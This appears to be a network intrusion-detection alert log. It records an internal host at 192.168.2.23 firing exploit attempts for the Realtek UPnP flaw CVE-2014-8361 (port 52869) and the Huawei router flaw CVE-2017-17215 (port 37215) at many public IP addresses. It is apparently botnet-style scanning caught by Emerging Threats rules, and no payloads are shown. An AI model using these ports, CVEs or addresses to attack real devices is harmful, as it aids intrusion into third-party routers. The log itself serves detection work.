07/20/24-23:01:08.655109	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54774	52869	192.168.2.23	132.33.116.164
07/20/24-23:01:42.693536	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33042	52869	192.168.2.23	107.163.195.19
07/20/24-23:01:08.578116	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44384	52869	192.168.2.23	159.20.45.153
07/20/24-23:01:43.877765	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46094	52869	192.168.2.23	183.90.49.252
07/20/24-23:01:10.756983	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60230	52869	192.168.2.23	42.191.217.231
07/20/24-23:01:42.608153	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40144	52869	192.168.2.23	138.229.180.34
07/20/24-23:01:47.005094	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41146	52869	192.168.2.23	146.33.84.180
07/20/24-23:01:11.634372	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55954	37215	192.168.2.23	99.67.37.89
07/20/24-23:01:25.656173	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47368	52869	192.168.2.23	177.181.36.106
07/20/24-23:01:02.057728	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34020	37215	192.168.2.23	41.99.98.84
07/20/24-23:01:51.932550	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49520	52869	192.168.2.23	135.160.162.200
07/20/24-23:00:59.168569	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56512	37215	192.168.2.23	197.137.254.119
07/20/24-23:01:45.713934	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47396	52869	192.168.2.23	8.220.8.58
07/20/24-23:01:04.053605	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51996	37215	192.168.2.23	157.232.245.24
07/20/24-23:01:11.631549	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49196	37215	192.168.2.23	157.16.120.147
07/20/24-23:01:02.064358	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40914	37215	192.168.2.23	157.200.107.177
07/20/24-23:01:41.176787	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49826	52869	192.168.2.23	44.113.54.165
07/20/24-23:01:04.031510	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48472	37215	192.168.2.23	157.194.46.134
07/20/24-23:01:06.988055	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41168	37215	192.168.2.23	41.212.175.247
07/20/24-23:01:43.164529	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56394	52869	192.168.2.23	118.209.219.113
07/20/24-23:01:34.044223	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53408	37215	192.168.2.23	157.25.31.241
07/20/24-23:02:00.538390	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53262	52869	192.168.2.23	103.238.68.11
07/20/24-23:01:44.971718	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44830	52869	192.168.2.23	213.131.100.211
07/20/24-23:01:56.287639	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38582	52869	192.168.2.23	70.135.187.127
07/20/24-23:01:59.353096	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37304	52869	192.168.2.23	124.255.77.181
07/20/24-23:01:02.048367	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36266	37215	192.168.2.23	176.150.171.140
07/20/24-23:01:43.686153	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50918	52869	192.168.2.23	172.233.108.76
07/20/24-23:01:47.931222	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56994	52869	192.168.2.23	114.55.77.0
07/20/24-23:01:57.489843	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58924	52869	192.168.2.23	207.166.244.138
07/20/24-23:02:08.171169	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44566	52869	192.168.2.23	42.89.136.69
07/20/24-23:01:01.212254	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48726	52869	192.168.2.23	142.90.33.83
07/20/24-23:01:08.691384	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51458	52869	192.168.2.23	154.97.74.140
07/20/24-23:01:46.054776	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60916	52869	192.168.2.23	137.109.251.204
07/20/24-23:02:12.193882	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41006	52869	192.168.2.23	197.114.179.188
07/20/24-23:01:42.985200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45994	52869	192.168.2.23	169.196.10.52
07/20/24-23:01:44.277250	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54614	52869	192.168.2.23	192.12.75.155
07/20/24-23:01:48.369883	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40972	52869	192.168.2.23	166.102.172.20
07/20/24-23:01:59.938491	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46086	52869	192.168.2.23	128.36.26.52
07/20/24-23:01:53.472037	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58472	52869	192.168.2.23	82.240.7.131
07/20/24-23:02:10.141900	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48662	52869	192.168.2.23	168.32.23.40
07/20/24-23:01:14.113390	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34024	37215	192.168.2.23	197.105.252.117
07/20/24-23:02:35.459810	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48992	52869	192.168.2.23	31.72.24.180
07/20/24-23:01:45.485100	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54638	52869	192.168.2.23	41.48.241.197
07/20/24-23:01:42.520139	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36254	52869	192.168.2.23	222.217.185.57
07/20/24-23:02:01.280564	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46594	52869	192.168.2.23	161.225.124.226
07/20/24-23:01:45.064977	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45862	52869	192.168.2.23	177.220.208.210
07/20/24-23:01:41.258403	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35944	52869	192.168.2.23	84.227.123.147
07/20/24-23:01:41.620386	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50282	52869	192.168.2.23	111.66.162.186
07/20/24-23:01:45.926465	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33854	52869	192.168.2.23	220.112.19.15
07/20/24-23:01:49.693650	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60962	52869	192.168.2.23	54.42.165.29
07/20/24-23:01:34.050313	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50522	37215	192.168.2.23	41.201.163.171
07/20/24-23:01:25.300817	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52658	52869	192.168.2.23	220.0.122.40
07/20/24-23:01:31.975107	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46984	37215	192.168.2.23	197.141.21.74
07/20/24-23:01:51.258596	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46492	52869	192.168.2.23	122.90.179.148
07/20/24-23:01:50.085627	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52618	52869	192.168.2.23	151.41.38.224
07/20/24-23:01:04.064240	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59016	37215	192.168.2.23	157.161.162.111
07/20/24-23:01:24.944299	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38370	37215	192.168.2.23	157.128.42.189
07/20/24-23:01:31.977603	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44556	37215	192.168.2.23	197.102.132.79
07/20/24-23:01:42.636583	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59580	52869	192.168.2.23	153.113.97.179
07/20/24-23:00:57.220833	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33462	37215	192.168.2.23	41.107.86.189
07/20/24-23:02:00.338154	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60880	52869	192.168.2.23	66.250.122.217
07/20/24-23:01:11.820979	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35366	37215	192.168.2.23	157.25.141.126
07/20/24-23:01:41.337240	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37948	52869	192.168.2.23	115.35.192.158
07/20/24-23:01:48.576249	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34132	52869	192.168.2.23	37.189.26.199
07/20/24-23:02:01.201976	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53466	52869	192.168.2.23	167.60.51.106
07/20/24-23:01:08.555687	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47658	52869	192.168.2.23	109.80.210.12
07/20/24-23:01:08.686800	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46680	52869	192.168.2.23	216.207.228.137
07/20/24-23:01:08.677485	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	32882	52869	192.168.2.23	162.162.162.31
07/20/24-23:01:14.103467	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55324	37215	192.168.2.23	41.90.164.103
07/20/24-23:01:20.131339	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46360	37215	192.168.2.23	41.169.34.148
07/20/24-23:01:24.877747	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37222	37215	192.168.2.23	144.93.159.93
07/20/24-23:01:27.749737	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36574	37215	192.168.2.23	177.70.134.46
07/20/24-23:01:42.287237	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33288	52869	192.168.2.23	137.75.123.123
07/20/24-23:01:57.049485	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43448	52869	192.168.2.23	49.91.98.221
07/20/24-23:01:24.910426	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54072	37215	192.168.2.23	41.84.150.41
07/20/24-23:01:43.170156	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40400	52869	192.168.2.23	222.227.230.240
07/20/24-23:01:08.655109	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44428	52869	192.168.2.23	155.22.90.90
07/20/24-23:01:03.439543	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44954	52869	192.168.2.23	60.99.150.220
07/20/24-23:01:00.651026	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51658	37215	192.168.2.23	43.131.249.62
07/20/24-23:01:11.817771	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55094	37215	192.168.2.23	157.103.119.53
07/20/24-23:01:13.618084	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45878	52869	192.168.2.23	43.124.104.253
07/20/24-23:00:57.220899	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48734	37215	192.168.2.23	41.174.115.244
07/20/24-23:01:04.039129	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45482	37215	192.168.2.23	157.237.121.217
07/20/24-23:01:31.312895	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51676	52869	192.168.2.23	123.249.201.235
07/20/24-23:01:47.572503	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45032	52869	192.168.2.23	86.216.107.76
07/20/24-23:01:31.991548	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44798	37215	192.168.2.23	41.24.2.217
07/20/24-23:01:55.572517	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41196	52869	192.168.2.23	169.122.121.121
07/20/24-23:00:59.178062	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50036	37215	192.168.2.23	88.195.110.211
07/20/24-23:01:32.059767	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47416	37215	192.168.2.23	157.197.119.108
07/20/24-23:01:43.571815	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41624	52869	192.168.2.23	203.162.151.3
07/20/24-23:01:53.407777	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51602	52869	192.168.2.23	111.91.178.70
07/20/24-23:01:00.639012	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37310	37215	192.168.2.23	157.115.23.92
07/20/24-23:01:27.666100	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54798	37215	192.168.2.23	138.151.216.98
07/20/24-23:01:50.370395	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33046	52869	192.168.2.23	166.191.111.147
07/20/24-23:01:51.113660	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37010	52869	192.168.2.23	140.189.156.39
07/20/24-23:01:21.952782	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55492	37215	192.168.2.23	41.44.152.150
07/20/24-23:01:43.305781	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52648	52869	192.168.2.23	1.198.183.23
07/20/24-23:02:53.636754	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34312	52869	192.168.2.23	43.198.199.207
07/20/24-23:01:42.390246	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54794	52869	192.168.2.23	111.85.168.68
07/20/24-23:01:48.102919	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60570	52869	192.168.2.23	66.43.237.112
07/20/24-23:01:42.749469	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46454	52869	192.168.2.23	111.186.32.47
07/20/24-23:00:59.196993	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33424	37215	192.168.2.23	157.77.208.129
07/20/24-23:01:03.186337	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56660	52869	192.168.2.23	166.7.60.196
07/20/24-23:01:43.063994	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45782	52869	192.168.2.23	220.31.50.128
07/20/24-23:01:48.834296	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33796	52869	192.168.2.23	50.12.228.50
07/20/24-23:01:42.136560	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60048	52869	192.168.2.23	67.41.35.87
07/20/24-23:01:41.412156	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44554	52869	192.168.2.23	154.201.154.131
07/20/24-23:01:08.663244	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58542	52869	192.168.2.23	139.21.143.158
07/20/24-23:01:58.146169	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54036	52869	192.168.2.23	134.217.248.188
07/20/24-23:01:57.346494	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41456	52869	192.168.2.23	27.214.50.214
07/20/24-23:01:08.589759	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59784	52869	192.168.2.23	218.167.11.188
07/20/24-23:01:57.512168	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38104	52869	192.168.2.23	14.187.245.173
07/20/24-23:01:08.663245	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36028	52869	192.168.2.23	168.229.219.185
07/20/24-23:01:42.809716	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37290	52869	192.168.2.23	17.37.38.42
07/20/24-23:01:52.390301	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51446	52869	192.168.2.23	105.70.135.245
07/20/24-23:01:01.818567	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60200	52869	192.168.2.23	25.222.248.206
07/20/24-23:01:46.220244	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40518	52869	192.168.2.23	104.155.48.50
07/20/24-23:01:50.223705	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35596	52869	192.168.2.23	63.137.171.145
07/20/24-23:01:11.630833	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36586	37215	192.168.2.23	197.224.131.168
07/20/24-23:02:18.238800	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60464	52869	192.168.2.23	171.248.87.10
07/20/24-23:01:49.070413	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33184	52869	192.168.2.23	216.27.105.182
07/20/24-23:01:48.322055	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42282	52869	192.168.2.23	172.42.36.143
07/20/24-23:01:42.915641	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37908	52869	192.168.2.23	195.86.64.66
07/20/24-23:01:47.821658	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57088	52869	192.168.2.23	223.33.49.156
07/20/24-23:01:56.719998	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40662	52869	192.168.2.23	75.93.244.9
07/20/24-23:01:42.508021	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50758	52869	192.168.2.23	186.5.70.201
07/20/24-23:01:45.233561	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54774	52869	192.168.2.23	166.201.201.44
07/20/24-23:01:53.066716	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37184	52869	192.168.2.23	192.245.224.230
07/20/24-23:01:42.636583	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55272	52869	192.168.2.23	180.183.76.230
07/20/24-23:01:14.013095	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49406	37215	192.168.2.23	157.2.94.148
07/20/24-23:01:42.617689	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60274	52869	192.168.2.23	186.150.2.45
07/20/24-23:01:20.596401	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46360	52869	192.168.2.23	62.216.86.224
07/20/24-23:01:11.632393	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52048	37215	192.168.2.23	41.202.90.168
07/20/24-23:01:42.762943	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53296	52869	192.168.2.23	94.66.88.32
07/20/24-23:01:06.989167	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46306	37215	192.168.2.23	167.13.180.172
07/20/24-23:01:44.295391	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50356	52869	192.168.2.23	120.63.90.68
07/20/24-23:01:42.634606	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33464	52869	192.168.2.23	181.147.220.98
07/20/24-23:01:20.181938	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32836	37215	192.168.2.23	157.66.141.65
07/20/24-23:01:58.945733	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33618	52869	192.168.2.23	27.10.81.5
07/20/24-23:01:46.261026	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38576	52869	192.168.2.23	118.191.35.155
07/20/24-23:01:43.096223	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60328	52869	192.168.2.23	153.113.97.179
07/20/24-23:01:51.932550	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35906	52869	192.168.2.23	203.130.71.37
07/20/24-23:01:45.095767	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58042	52869	192.168.2.23	156.160.38.108
07/20/24-23:01:20.161614	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54432	37215	192.168.2.23	157.157.95.90
07/20/24-23:01:42.995118	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60430	52869	192.168.2.23	161.210.183.51
07/20/24-23:00:59.194576	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34208	37215	192.168.2.23	157.121.143.8
07/20/24-23:01:41.960623	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45334	52869	192.168.2.23	208.75.90.116
07/20/24-23:01:49.809920	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54402	52869	192.168.2.23	34.139.90.241
07/20/24-23:01:42.627588	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51950	52869	192.168.2.23	174.16.2.141
07/20/24-23:01:46.444461	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47526	52869	192.168.2.23	151.244.29.112
07/20/24-23:01:58.152789	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38362	52869	192.168.2.23	70.101.195.243
07/20/24-23:01:08.571946	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54340	52869	192.168.2.23	105.234.100.63
07/20/24-23:01:14.367036	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44160	52869	192.168.2.23	109.120.196.186
07/20/24-23:01:45.233561	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39054	52869	192.168.2.23	2.166.49.173
07/20/24-23:01:59.449569	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58072	52869	192.168.2.23	129.15.238.37
07/20/24-23:01:02.113054	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35512	37215	192.168.2.23	85.79.139.138
07/20/24-23:01:27.650975	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53368	37215	192.168.2.23	197.192.90.143
07/20/24-23:01:11.642449	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41180	37215	192.168.2.23	41.255.190.193
07/20/24-23:01:11.639230	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41434	37215	192.168.2.23	99.12.166.177
07/20/24-23:01:20.591702	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40612	52869	192.168.2.23	94.32.208.135
07/20/24-23:01:31.976649	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45982	37215	192.168.2.23	41.175.115.88
07/20/24-23:01:25.481306	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56798	52869	192.168.2.23	5.207.112.150
07/20/24-23:00:57.220905	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40282	37215	192.168.2.23	23.141.91.228
07/20/24-23:01:41.266946	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51804	52869	192.168.2.23	193.38.103.224
07/20/24-23:01:34.045749	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53856	37215	192.168.2.23	78.116.5.24
07/20/24-23:01:41.419124	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35788	52869	192.168.2.23	196.248.47.177
07/20/24-23:01:24.867858	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48344	37215	192.168.2.23	23.196.138.54
07/20/24-23:01:42.566124	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41876	52869	192.168.2.23	175.125.31.24
07/20/24-23:01:42.740527	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43206	52869	192.168.2.23	8.243.36.237
